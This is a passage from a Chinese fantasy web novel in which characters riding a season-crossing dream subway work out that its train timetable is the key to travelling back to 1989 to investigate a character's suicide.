四季地铁,既然可以跨越季节,跨越年份又算什么。 朝云脑中立刻冒出这个念头。 南明芮和朝云思路完全一致,而且她结合了四季地铁的性质,做出了更近一步的猜测。 如果真如她所想,四季地铁是能够跨越多个噩梦的地铁线路,那么想要去具体的年份,应该也有更加便捷的方法。 “我们现在是什么时间?”南明芮问。 众人都摇头。 但小猫咪忽然想起了西装男上车前的动作,他一直在看手上的腕表,对照站台上的时刻表,仿佛在确认着什么。 朝云马上抬起一个爪子晃了晃,另一个爪子试图搭在小猫咪的“手腕”处。 纪雅音和宁洛还在破解猫语,南明芮已经火速反应过来。 “列车时刻表?” 她懂了朝云的暗示。 南明芮语速飞快:“四季地铁打乱了所有人的时间,无论是共梦者还是NPC,都在必须按照四季地铁的时刻进行。” “我们想要回到1989年,解决刘福珍自杀的原因,恐怕必须要搞清楚现在的时间——” “你们还记得吗,冬亥站上有乘客没有上车,而西装男说他们是买错了车票,所以才上不了这一趟列车,这句话是误导!” “因为车票是不会变的,车票都是通行证,真正在变的东西,是列车时刻表!” 就在此时,地铁进站声,再次响起了。 “夏巳路到了,开右边门。” “上下车当心缝隙,请注意脚下安全,门灯闪烁时,请勿上下车。 这是她们原本计划下车的地方。